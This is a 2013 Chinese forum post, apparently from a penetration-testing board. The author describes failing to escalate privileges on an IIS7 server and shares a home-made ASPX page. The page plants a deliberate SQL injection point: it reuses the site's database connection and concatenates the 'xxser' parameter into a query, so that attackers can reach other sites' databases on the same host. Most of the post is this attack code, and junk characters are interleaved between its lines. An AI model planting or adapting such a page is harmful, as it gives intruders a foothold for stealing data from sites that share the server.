中国网络渗透测试联盟
标题:
利用aspx构造注射来跨站
[打印本页]
作者:
admin
时间:
2013-3-20 21:32
标题:
利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
2 O4 s$ C, T Q
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
& F' @% B- K+ m0 C# w) f
代码量不多,自己写个拉倒了。烦死了。
% H" M$ O+ B% d! {/ n& o2 g: M
5 {4 S6 d) |& Y- a
: [+ N' z* `8 f2 _
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
. {7 D0 h1 @; r: {- A( d% _
<html xmlns="http://www.w3.org/1999/xhtml">
8 M9 e( j! t$ C! x6 B
<head runat="server">
* x9 B. R- @3 Z: c
<title>暗影aspx构造注射专用页面</title>
% t/ \4 B. ~& _4 n' t
</head>
3 O! F5 e5 U: Q7 U: g' r( D* K
<body>
. B4 Q [ H+ o* [: r6 Y( z
<form id="form1" runat="server">
2 M) H; |1 k/ [" Z3 `* d# h3 x4 L1 Q
<div>
# e: i" X3 `% H5 \5 S! o
<script language="c#" runat="server">
" W% J( h, |* q, ~: L1 w0 r% i
* F+ B7 v7 w" f0 q. u
void page_init(object sender, EventArgs e)
/ f& O9 h3 @2 }# C* \
{
; P" Y8 w1 \6 O. [( H; A/ z
. }) f7 q5 c: V5 k+ F- a
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
' p- P/ `1 }, g. B% }& b! J
+ O( ~. c2 x( V3 O
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
" U2 l3 Y- U- C) |! S0 g& E1 ~# R% f
conn.Open();
: n/ g X$ J4 r, f4 f9 x9 v
# g. h8 F4 V8 @2 R) i$ d( b
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
$ `1 K& t4 m$ Z3 m- {+ v5 Y0 G
s# I1 L9 P9 U9 z. G/ `& n6 m/ b
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
- A" g: O+ T; S
int x = command.ExecuteNonQuery();
" r4 x1 j8 i; Q" `$ |, @; S& x2 n" o
Response.Write(i+"\n");
# f: _7 i* m- l( M$ {6 k3 p. d
Response.Write(x);
: j6 N w# F" H1 d
conn.Close();
; X% Q o2 M- ^& m/ }
}
8 W/ {# p9 d; r5 K
7 F! h# s7 P% x# k8 t/ @* H4 k
</script>
, ~2 n2 N$ H% b" m
</div>
$ l/ v' l0 {4 L7 R3 }
</form>
; ]7 g- C% N+ w
</body>
; V' O7 f" a# W7 m4 K4 Z
</html>
( V# O; J* ~; F" m2 p
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2